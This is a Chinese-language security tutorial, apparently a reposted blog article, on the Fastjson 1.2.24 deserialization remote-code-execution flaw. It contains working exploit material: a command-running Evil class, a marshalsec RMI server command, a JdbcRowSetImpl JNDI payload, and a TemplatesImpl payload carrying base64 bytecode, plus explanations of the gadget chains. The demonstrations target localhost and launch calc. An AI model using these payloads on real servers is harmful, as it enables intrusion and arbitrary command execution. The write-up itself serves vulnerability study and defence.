赞
踩
Fastjson是由阿里巴巴研发的一个java库,用来实现Java对象转换JSON格式以及JSON字符串转换为对象。
在Fastjson<=1.2.24以前存在远程代码执行漏洞。
启用一个maven项目,直接在pom.xml导入以下内容
- <dependencies>
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.23</version>
- </dependency>
- </dependencies>
导入JSON库
import com.alibaba.fastjson.JSON
fastjson有两种常见的处理JSON方式:
JSON.toJSONString()
JSON.parseObject()
分别用来将对象转换为JSON字符串以及JSON字符串转换为对象。
先定义一个类User,用来作为JSON对象。
- public class User {
- private int age;
- private String name;
- public int getAge() {
- System.out.println("调用了getAge()");
- return age;
- }
- public void setAge(int age) {
- this.age = age;
- System.out.println("调用了setAge()");
- }
-
- public String getName() {
- System.out.println("调用了getName()");
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- System.out.println("调用了setName()");
- }
- }

我们使用JSON.toJSONString来JSON序列化我们的类user。
- import com.alibaba.fastjson.JSON;
-
- public class Test {
- public static void main(String[] args) {
- User user = new User();
- user.setAge(18);
- user.setName("Tom");
- System.out.println("-----------JSON------------------");
- String json = JSON.toJSONString(user);
- System.out.println(json);
- }
- }
可以看到运行结果为:
调用了setAge() 调用了setName() -----------JSON------------------ 调用了getAge() 调用了getName() {"age":18,"name":"Tom"}
我们再创建一个类,用来将JSON序列化的内容转换为JAVA对象。
- import com.alibaba.fastjson.JSON;
-
- public class JsonToObj {
- public static void main(String[] args) {
- String str = "{\"age\":18,\"name\":\"Tom\"}";
- System.out.println(JSON.parseObject(str,User.class));
- }
- }
可以看到运行结果为:
调用了setAge() 调用了setName() User@28c97a5
不难发现,JSON序列化对象时调用了getAge()和getName(),而在反序列化时调用了setAge()和setName()。且在反序列化时调用的JSON.parseObject(str,User.class),指定所属的类还可以通过指定@type的方式来定位类。
当我们利用JSON在反序列化时调用并覆盖恶意的类的构造方法以及属性相关的set方式时,就能够达到RCE的目的,且JSON.parseObject(“{"@type":"
User","name":"Tom","age":18}”,Feature.SupportNonPublicField) 能够为private成员赋值。
com.sun.rowset.JdbcRowSetImpl
使用JNDI注入来实现RCE。
编译这个类,放到我们启用的RMI服务器的目录下,确保我们能够访问到它。
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
-
- public class Evil extends AbstractTranslet{
- static {
- System.err.println("Pwned");
- try {
- String[] cmd = {"calc"};
- java.lang.Runtime.getRuntime().exec(cmd).waitFor();
- } catch ( Exception e ) {
- e.printStackTrace();
- }
- }
-
- @Override
- public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
- // anything
- }
-
- @Override
- public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
- // anything
- }
- }

启动RMI服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1/#Evil" 9999
构造恶意的Payload
- import com.alibaba.fastjson.JSON;
-
- public class JsonToObj {
- public static void main(String[] args) {
- String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/#Evil\",\"autoCommit\":true}}";
- System.out.println(JSON.parseObject(str));
- }
- }
成功命令执行
原理:
将恶意的值(接下来我们构造的dataSourceName)输入到setDataSourceName(String name)
- public void setDataSourceName(String name) throws SQLException {
-
- if (name == null) {
- dataSource = null;
- } else if (name.equals("")) {
- throw new SQLException("DataSource name cannot be empty string");
- } else {
- dataSource = name;
- }
-
- URL = null;
- }
会运行setAutoCommit(),其中的connect()里面,就是我们这个反序列化漏洞的核心函数lookup()。
- public void setAutoCommit(boolean var1) throws SQLException {
- if (this.conn != null) {
- this.conn.setAutoCommit(var1);
- } else {
- this.conn = this.connect();
- this.conn.setAutoCommit(var1);
- }
-
- }
connect()方法中有典型的JNDI的Lookup方法调用,且参数为我们上传的参数dataSourceName。
- protected Connection connect() throws SQLException {
- if (this.conn != null) {
- return this.conn;
- } else if (this.getDataSourceName() != null) {
- try {
- InitialContext var1 = new InitialContext();
- DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
- return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
- } catch (NamingException var3) {
- throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
- }
- } else {
- return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
- }
- }
TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类的利用条件较为苛刻,必须要开启Feature.SupportNonPublicField,便可以不利用setter方法,成功赋值。
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
-
- public class JsonToObj {
- public static void main(String[] args) {
- String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
- System.out.println(JSON.parseObject(str, Feature.SupportNonPublicField));
- }
- }
成功命令执行
原理:
调用了_outputProperties的getter方法(getOutputProperties)
跟进newTransformer()
跟进getTransletInstancew()
name不为空且 _class为空时,会进入defineTransletClasses()
defineTransletClasses()中,要满足tfactory属性不为空,否则会造成空指针异常,且后面将二维数组bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置
然后回到getTransletInstance()方法
这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。